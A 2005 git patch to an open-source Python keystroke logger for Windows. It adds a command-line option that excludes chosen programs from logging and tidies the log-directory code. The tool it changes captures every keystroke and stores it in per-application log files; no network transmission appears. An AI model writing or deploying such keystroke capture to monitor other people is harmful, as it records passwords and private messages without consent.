From 220b5567f60063c5b5b2c95fcb4ac49cbb738983 Mon Sep 17 00:00:00 2001 From: nanotube Date: Thu, 15 Sep 2005 05:14:23 +0000 Subject: [PATCH] implemented nolog commandline option to exclude selected executables from logging. --- keylogger.pyw | 30 ++++++++++-------------------- logwriter.py | 27 ++++++++++++++++++++++----- 2 files changed, 32 insertions(+), 25 deletions(-) diff --git a/keylogger.pyw b/keylogger.pyw index a8c07c0..4fd1446 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -7,7 +7,7 @@ import traceback from logwriter import LogWriter class KeyLogger: - ''' Captures all keystrokes, and logs them to a text file + ''' Captures all keystrokes, calls LogWriter class to log them to disk ''' def __init__(self): @@ -28,23 +28,8 @@ class KeyLogger: def OnKeyboardEvent(self, event): - '''This function actually writes the stuff to the log, subject to parsing. - ''' - ''' - self.log.write('MessageName: ' + str(event.MessageName)) - self.log.write('Message: ' + str(event.Message)) - self.log.write('Time: ' + str(event.Time)) - self.log.write('Window: ' + str(event.Window)) - self.log.write('WindowName: ' + str(event.WindowName)) - self.log.write('Ascii: ' + str(event.Ascii) + ' ' + chr(event.Ascii)) - self.log.write('Key: ' + str(event.Key)) - self.log.write('KeyID: ' + str(event.KeyID)) - self.log.write('ScanCode: ' + str(event.ScanCode)) - self.log.write('Extended: ' + str(event.Extended)) - self.log.write('Injected: ' + str(event.Injected)) - self.log.write('Alt: ' + str(event.Alt)) - self.log.write('Transition: ' + str(event.Transition)) - self.log.write('---\n') + '''This function is the stuff that's supposed to happen when a key is pressed. + Calls LogWriter.WriteToLogFile with the keystroke properties. ''' self.lw.WriteToLogFile(event, self.options) @@ -55,7 +40,9 @@ class KeyLogger: return True def ParseOptions(self): - #usage = "usage: %prog [options] arg" + '''Read command line options + ''' + parser = OptionParser(version="%prog version 0.4.2") parser.add_option("-f", "--file", action="store", dest="dirname", help="write log data to DIRNAME [default: %default]") parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]") @@ -67,6 +54,8 @@ class KeyLogger: parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]") parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]") + parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]") + parser.set_defaults(dirname=r"C:\Temp\logdir", hookKeyboard=True, addLineFeed=False, @@ -74,7 +63,8 @@ class KeyLogger: parseEscape=False, exitKey='F12', flushKey='F11', - debug=False) + debug=False, + noLog=None) (self.options, args) = parser.parse_args() diff --git a/logwriter.py b/logwriter.py index 2a05ac7..9fafa81 100644 --- a/logwriter.py +++ b/logwriter.py @@ -10,10 +10,11 @@ class LogWriter: def __init__(self, rootLogDir=r"C:\Temp\logdir", debug=False): self.debug = debug + self.rootLogDir = os.path.normpath(rootLogDir) try: - os.mkdir(self.rootLogDir, 0777) + os.makedirs(self.rootLogDir, 0777) #TODO: change this to makedirs??? except OSError, detail: if(detail.errno==17): #if directory already exists, swallow the error pass @@ -24,7 +25,13 @@ class LogWriter: self.systemlog = open(r"C:\Temp\logdir\systemlog.txt", 'a') def WriteToLogFile(self, event, options): - self.OpenLogFile(event) + loggable = self.OpenLogFile(event, options.noLog) + + if not loggable: # if the program is in the no-log list, we return without writing to log. + if self.debug: print "not loggable, we are outta here" + return + + if self.debug: print "loggable, lets log it" asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape asciiSubset.extend(range(32,128)) #all normal printable chars @@ -56,11 +63,20 @@ class LogWriter: self.log.flush() self.systemlog.flush() - def OpenLogFile(self, event): + def OpenLogFile(self, event, noLog): filter=r"[\\\/\:\*\?\"\<\>\|]+" #regexp filter for the non-allowed characters in windows filenames. - subDirName = self.GetProcessNameFromHwnd(event.Window) + subDirName = self.GetProcessNameFromHwnd(event.Window) #our subdirname is the full path of the process owning the hwnd. + + for path in noLog: #check our options to make sure that we dont log specified apps. + if os.stat(path) == os.stat(subDirName): #we use os.stat instead of comparing strings due to multiple possible representations of a path + if self.debug: + print "we dont log this" + return False + if self.debug: + print "we log this" + #subDirName = re.sub(r':?\\',r'__',subDirName) subDirName = re.sub(filter,r'__',subDirName) @@ -92,7 +108,8 @@ class LogWriter: self.systemlog.write("writeTarget: " + self.writeTarget + "\n") self.log = open(self.writeTarget, 'a') - + + return True def PrintStuff(self, stuff): if self.debug == False: -- 2.45.1